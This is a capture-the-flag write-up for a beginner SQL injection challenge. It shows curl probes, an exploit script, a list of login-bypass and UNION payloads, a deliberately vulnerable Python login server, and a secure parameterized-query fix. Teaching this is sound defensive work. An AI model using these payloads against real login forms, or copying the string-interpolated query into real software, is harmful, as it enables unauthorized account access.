Skip to main content
Synced from an Obsidian vault

For graph and advanced features, download the full Intel Codex Vault and open it in Obsidian.

🌐 Sample Web Challenge: SQL Injection Basic

Challenge: Web Login Bypass Category: Web Exploitation
Points: 100 Event: Beginner CTF 2024 Team: Team Example Author: CTF Guide Date: 2024-01-15

Table of Contents​

  1. Challenge Summary
  2. Analysis
  3. Solution Approach
  4. Technical Details
  5. The Solution
  6. Flag
  7. Reflection
  8. References
  9. Acknowledgments
  10. Challenge Rating
  11. Appendix

🎯 Challenge Summary​

TL;DR: Basic SQL injection vulnerability in login form allowing authentication bypass with admin'-- username.

Challenge Description​

We have a simple login page for our admin panel.
Can you find a way to log in as admin without knowing the password?

URL: http://challenge.example.com:1337/login

Files & Services​

  • http://challenge.example.com:1337/login - Login web application

🔍 Analysis​

Initial Reconnaissance​

The curl transcripts in this writeup are illustrative (challenge.example.com is a placeholder host); the SQL behaviour was checked against SQLite.

Let's start by examining the login page:

$ curl -s http://challenge.example.com:1337/login | grep -iE 'form|input'
<form method="POST" action="/login">
<input type="text" name="username" placeholder="Username" required>
<input type="password" name="password" placeholder="Password" required>
<input type="submit" value="Login">
</form>

Key Observations​

  1. Input Method: POST form with username and password fields
  2. No CSRF Protection: No visible CSRF tokens
  3. Basic HTML Form: Simple implementation suggests potential vulnerabilities

Let's try a normal login attempt:

$ curl -X POST http://challenge.example.com:1337/login \
-d "username=test&password=test"

Response: "Invalid credentials"

💡 Solution Approach​

Method 1: SQL Injection Testing​

Since this appears to be a basic login form, let's test for SQL injection vulnerabilities.

  1. Step 1: Test basic SQL injection payloads

    # Test single quote
    $ curl -X POST http://challenge.example.com:1337/login \
    -d "username=admin'&password=test"

    Response: SQL error: near "test": syntax error

    🎯 Bingo! The error message reveals this is vulnerable to SQL injection — and near "…": syntax error is SQLite's wording, which tells us which comment syntax will work.

  2. Step 2: Craft SQL injection payload to bypass authentication

    # Use comment to ignore password check
    $ curl -X POST http://challenge.example.com:1337/login \
    -d "username=admin'--&password=anything"

    Response: "Welcome admin! Flag: flag{sql_injection_basic_bypass_123}"
  3. Step 3: Verify with different payloads

    # Alternative payload (matches every row; the app logs in as the first one, admin)
    $ curl -X POST http://challenge.example.com:1337/login \
    -d "username=admin' OR '1'='1'--&password=test"

    Response: "Welcome admin! Flag: flag{sql_injection_basic_bypass_123}"

🛠️ Technical Details​

Tools Used​

  • Primary Tools: curl, web browser
  • Secondary Tools: Burp Suite (optional for this basic challenge)

Key Technical Concepts​

  • SQL Injection: Malicious SQL statements inserted into application queries
  • Comment Syntax: -- comments out the rest of the query (SQLite/PostgreSQL; MySQL needs -- with a trailing space, or #)
  • Authentication Bypass: Using injection to make login condition always true

Vulnerable Code (Hypothetical)​

-- Likely vulnerable query in backend (SQLite, per the error message):
SELECT * FROM users WHERE username = '$username' AND password = '$password';

-- With our payload (admin'--):
SELECT * FROM users WHERE username = 'admin'--' AND password = '$password';

-- Everything after -- is commented out, so it becomes:
SELECT * FROM users WHERE username = 'admin';

🎯 The Solution​

Final Exploit​

#!/bin/bash
# Simple SQL injection exploit

URL="http://challenge.example.com:1337/login"

echo "Attempting SQL injection..."
response=$(curl -s -X POST "$URL" \
-d "username=admin'--&password=ignored")

echo "Response: $response"

# Extract flag using grep
flag=$(echo "$response" | grep -o 'flag{[^}]*}')
echo "Flag found: $flag"

Execution Output​

$ bash exploit.sh
Attempting SQL injection...
Response: Welcome admin! Flag: flag{sql_injection_basic_bypass_123}
Flag found: flag{sql_injection_basic_bypass_123}

🏁 Flag​

flag{sql_injection_basic_bypass_123}

💭 Reflection​

What Went Well​

  • Quickly identified SQL injection vulnerability from error message
  • Basic payloads worked immediately
  • Simple exploit development

Challenges Faced​

  • admin'-- only works because the backend is SQLite (see the error wording); on MySQL the same payload is a syntax error and needs admin'-- - or admin'#

Learning Outcomes​

  • SQL Injection Basics: Understanding how unsanitized input can break SQL queries
  • Comment Exploitation: Using SQL comments to bypass authentication logic
  • Web Testing: Basic techniques for testing web application security

🔗 References​

Documentation​

Similar Challenges​

  • PicoCTF: Web Gauntlet series - SQL injection practice
  • OverTheWire: Natas levels - Web security fundamentals

Further Reading​


🤝 Acknowledgments​

Team Contributions​

  • Solo effort: Basic challenge completed independently

External Help​

  • OWASP documentation for understanding SQL injection mechanics

📋 Challenge Rating​

AspectRating (1-5)Notes
Difficulty⭐Very easy, perfect for beginners
Fun Factor⭐⭐⭐Satisfying first SQL injection
Learning Value⭐⭐⭐⭐⭐Essential web security concept
Realism⭐⭐⭐⭐Common vulnerability type

Overall: ⭐⭐⭐⭐ (4/5) - Excellent learning challenge for beginners


📚 Appendix​

Other Payloads That Work​

-- Authentication bypass variations (SQLite/PostgreSQL comment syntax)
-- OR-based payloads match every row; the app logs in as the first one
admin'--
admin' OR '1'='1'--
admin' OR 1=1--
' OR '1'='1'--
' OR 1=1--

-- Union-based (only if the column count matches the users table)
admin' UNION SELECT 1,2,3--

Prevention Measures​

Parameterize the query and never compare passwords in SQL: look the user up by username only, then verify a stored argon2id hash in application code (argon2-cffi; bcrypt.checkpw is the bcrypt equivalent).

# Secure code example (parameterized query + password hash check)
from argon2 import PasswordHasher
from argon2.exceptions import InvalidHashError, VerificationError

ph = PasswordHasher() # argon2id; store ph.hash(password) at registration

cursor.execute("SELECT id, password_hash FROM users WHERE username = ?", (username,))
row = cursor.fetchone()
try:
authenticated = row is not None and ph.verify(row[1], password)
except (VerificationError, InvalidHashError): # wrong password or corrupt stored hash
authenticated = False

How the Challenge Was Built​

The service is a standard-library-only server (http.server + sqlite3): GET returns the form, POST builds the query by string interpolation exactly as the "Vulnerable Code" block shows and answers with the bare message as the response body. challenge.example.com in the transcripts above stands for 127.0.0.1:1337. Save as login_server.py and run python3 login_server.py:

#!/usr/bin/env python3
"""Vulnerable login page for the "Web Login Bypass" sample challenge.

Standard library only (http.server + sqlite3). The login query is built by
string interpolation, exactly as the writeup's "Vulnerable Code" block shows,
and the raw SQLite error text is echoed back to the client.

Run: python3 login_server.py (listens on 127.0.0.1:1337)
"""
import sqlite3
from http.server import BaseHTTPRequestHandler, HTTPServer
from urllib.parse import parse_qs

HOST, PORT = "127.0.0.1", 1337
FLAG = "flag{sql_injection_basic_bypass_123}"

LOGIN_PAGE = """<!DOCTYPE html>
<html>
<head><title>Admin Panel</title></head>
<body>
<h2>Admin Login</h2>
<form method="POST" action="/login">
<input type="text" name="username" placeholder="Username" required>
<input type="password" name="password" placeholder="Password" required>
<input type="submit" value="Login">
</form>
</body>
</html>
"""

DB = sqlite3.connect(":memory:")
DB.row_factory = sqlite3.Row
DB.executescript("""
CREATE TABLE users (id INTEGER PRIMARY KEY, username TEXT, password TEXT);
INSERT INTO users (username, password) VALUES ('admin', 'S3cr3t-P@ss');
INSERT INTO users (username, password) VALUES ('test', 'test123');
""")


class LoginHandler(BaseHTTPRequestHandler):
def _send(self, status, body, content_type):
data = body.encode()
self.send_response(status)
self.send_header("Content-Type", content_type)
self.send_header("Content-Length", str(len(data)))
self.end_headers()
self.wfile.write(data)

def do_GET(self):
if self.path.split("?")[0] != "/login":
return self._send(404, "Not Found", "text/plain")
self._send(200, LOGIN_PAGE, "text/html")

def do_POST(self):
length = int(self.headers.get("Content-Length") or 0)
form = parse_qs(self.rfile.read(length).decode("latin-1"))
username = form.get("username", [""])[0]
password = form.get("password", [""])[0]

# Vulnerable: user input is interpolated straight into the SQL string
query = f"SELECT * FROM users WHERE username = '{username}' AND password = '{password}';"
try:
row = DB.execute(query).fetchone()
except sqlite3.Error as exc:
message = f"SQL error: {exc}"
else:
message = f"Welcome {row['username']}! Flag: {FLAG}" if row else "Invalid credentials"
self._send(200, message, "text/plain")


if __name__ == "__main__":
server = HTTPServer((HOST, PORT), LoginHandler)
print(f"Serving on http://{HOST}:{PORT}/login")
server.serve_forever()

Initial reconnaissance against it (the command as fixed above):

$ curl -s http://127.0.0.1:1337/login | grep -iE 'form|input'
<form method="POST" action="/login">
<input type="text" name="username" placeholder="Username" required>
<input type="password" name="password" placeholder="Password" required>
<input type="submit" value="Login">
</form>

The four POST probes. The Response: "…" lines in the main text are these bodies verbatim:

$ curl -s -X POST http://127.0.0.1:1337/login -d "username=test&password=test"
Invalid credentials

$ curl -s -X POST http://127.0.0.1:1337/login -d "username=admin'&password=test"
SQL error: near "test": syntax error

$ curl -s -X POST http://127.0.0.1:1337/login -d "username=admin'--&password=anything"
Welcome admin! Flag: flag{sql_injection_basic_bypass_123}

$ curl -s -X POST http://127.0.0.1:1337/login -d "username=admin' OR '1'='1'--&password=test"
Welcome admin! Flag: flag{sql_injection_basic_bypass_123}

SQL error: is the server's prefix; the rest is the unmodified sqlite3.OperationalError text (Python 3.12, SQLite library 3.45.1). exploit.sh needs only its URL= line pointed at the local host, and then prints the Execution Output above exactly:

$ sed 's/challenge\.example\.com/127.0.0.1/' exploit.sh > exploit.local.sh && bash exploit.local.sh
Attempting SQL injection...
Response: Welcome admin! Flag: flag{sql_injection_basic_bypass_123}
Flag found: flag{sql_injection_basic_bypass_123}

The OR-based payloads in "Other Payloads That Work" all behave as listed against this server; with its three-column users table the UNION payload also returns the flag, but greets the injected row (Welcome 2! Flag: flag{sql_injection_basic_bypass_123}) because SQLite sorts the integer row before the text one.


Completion Time: 15 minutes Team Size: 1 member First Blood: NO Published: 2024-01-15


Last Updated: 2026-12-01